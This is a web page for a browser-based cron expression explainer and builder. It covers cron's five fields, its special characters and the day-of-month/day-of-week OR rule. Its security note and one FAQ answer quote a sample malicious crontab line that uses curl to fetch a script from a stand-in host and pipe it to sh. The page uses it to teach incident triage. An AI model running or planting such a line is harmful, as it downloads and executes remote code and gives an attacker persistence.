Cron Expression Generator
A crontab guru that works two ways. Paste any cron expression to read it in plain English and see the next 5 run times in your own timezone, or build one from presets — every minute, hourly, daily, weekly or monthly. It supports *, ,, - and /, and gets the tricky day-of-month / day-of-week union rule right. Everything runs in your browser; nothing is uploaded.
Everything runs locally in your browser — the expression, the plain-English reading and the next-run times are all computed on your device. Nothing is uploaded, so you can safely paste a crontab line pulled off a suspect host to read what it would actually do.
What this tool is
- A free, in-browser crontab tool with two modes: EXPLAIN a cron expression you paste, or BUILD one from plain-English presets.
- Explain mode reads any 5-field expression back in plain English ("At 09:00, on Monday through Friday") and computes the next 5 run times in your own timezone.
- Build mode turns presets — every minute, hourly, daily at HH:MM, weekly on a day, monthly on a date — into a correct expression you can copy.
- Handles the full standard syntax: * (every), , (lists), - (ranges) and / (steps), plus the classic day-of-month / day-of-week union rule that trips most people up.
- Everything is computed on your device. Nothing you paste is uploaded — safe for inspecting a crontab line copied off a server you are investigating.
How cron expressions work
A cron expression is five space-separated fields that describe a recurring schedule. Read left to right they are minute hour day-of-month month day-of-week. Each field matches a set of values, and the job fires on any minute where every field matches.
The five fields
| Field | Allowed values | Notes |
|---|---|---|
| Minute | 0–59 | Minute of the hour |
| Hour | 0–23 | 24-hour clock |
| Day of month | 1–31 | See the union rule below |
| Month | 1–12 | 1 = January |
| Day of week | 0–6 | 0 and 7 both = Sunday |
Special characters
*asterisk — every value of the field.,comma — a list, e.g.0,30= on the hour and the half hour.-hyphen — an inclusive range, e.g.1-5in day-of-week = Monday through Friday./slash — a step, e.g.*/15= every 15 minutes; combine with a range as0-30/10.
Common examples
| Expression | Means |
|---|---|
| * * * * * | Every minute |
| */15 * * * * | Every 15 minutes |
| 0 * * * * | Hourly, on the hour |
| 30 2 * * * | Daily at 02:30 |
| 0 9 * * 1-5 | 09:00, Monday through Friday |
| 30 2 1 * * | 02:30 on the 1st of every month |
| 0 0 * * 0 | Midnight every Sunday |
The day-of-month / day-of-week gotcha
The field that catches almost everyone: when both the day-of-month and day-of-week fields are set to something other than *, cron runs the job when either one matches — they are combined with OR, not AND. So 0 0 13 * 5 is not "only Friday the 13th"; it fires at midnight on the 13th of every month and at midnight on every Friday. Only when one of the two day fields is * does the schedule behave the intuitive way. This tool applies the union rule when it previews run times, so what you see is what cron will actually do.
Security note: scheduled tasks are a classic persistence mechanism — a malicious crontab line, systemd timer or Windows scheduled task re-launches a payload after every reboot. When you are triaging a host, a line such as */5 * * * * curl http://bad.example/x | sh should read instantly as "fetch and run remote code every five minutes". Because this tool is fully offline, you can paste a suspicious crontab entry here to decode it — and see exactly when it would fire — without sending it anywhere.
Frequently asked questions
What are the five fields in a cron expression?
A standard cron expression has five space-separated fields, read left to right: minute (0–59), hour (0–23), day-of-month (1–31), month (1–12) and day-of-week (0–6, where 0 and 7 both mean Sunday). So "30 2 1 * *" means at minute 30 of hour 2 — 02:30 — on the 1st of every month. Each field accepts an asterisk for "every value", and the special characters below for anything more specific. (Some cron implementations add a sixth leading field for seconds, or named months/weekdays like JAN and MON; this tool targets the common five-field numeric form that crontab, most schedulers and cron-job.org use.)
What do the special characters * , - and / mean?
An asterisk (*) matches every value of that field. A comma makes a list, so "1,15,30" in the minute field means those three minutes. A hyphen makes an inclusive range, so "1-5" in the day-of-week field means Monday through Friday. A slash is a step: "*/15" in the minute field means every 15 minutes (0, 15, 30, 45), and you can combine it with a range, as in "0-30/10" for 0, 10, 20 and 30. "N/step" is shorthand for "from N to the field maximum, stepping by step". This tool supports all four and validates each field against its allowed range.
Why does my cron job run more often than I expect — the day-of-month / day-of-week trap?
This is the single most common cron mistake. When BOTH the day-of-month field and the day-of-week field are restricted (neither is "*"), cron runs the job whenever EITHER one matches — they are OR-ed, not AND-ed. So "0 0 13 * 5" does NOT mean "only on Friday the 13th"; it means "at midnight on the 13th of every month, AND at midnight on every Friday". If you need a true AND (say, the 13th only when it falls on a Friday), cron cannot express it directly — you add a date check inside the job itself. When one of the two day fields is "*", the rule collapses to the intuitive behaviour. This tool applies the union rule when it computes the next run times, so the preview matches what real cron will actually do.
How are the next run times calculated, and which timezone do they use?
The next-run times are computed entirely in your browser by stepping forward from the current moment and testing each candidate minute against all five fields (honouring the day-of-month / day-of-week union rule), capped at a five-year horizon so an impossible expression such as "0 0 31 2 *" simply reports no upcoming run instead of looping forever. The times are shown in your device's local timezone, which is labelled above the list. That matters because a crontab on a server runs in the server's timezone (often UTC): a schedule that looks like 9am to you may fire at a different wall-clock time on the box, so always confirm the timezone the scheduler itself uses.
Why would a security or operations person need to read cron syntax?
Scheduled tasks are a favourite persistence mechanism for attackers: a malicious crontab entry, systemd timer or scheduled task re-runs a payload after every reboot, long after the initial intrusion. During incident response and routine hardening you will read lines like "*/5 * * * * curl http://bad.example/x | sh" and need to know instantly that it fetches and runs remote code every five minutes. Being able to decode an unfamiliar crontab line — and preview exactly when it would fire — is a basic triage skill. Because this tool runs entirely offline, you can paste a line pulled from a compromised host to understand it without sending anything anywhere.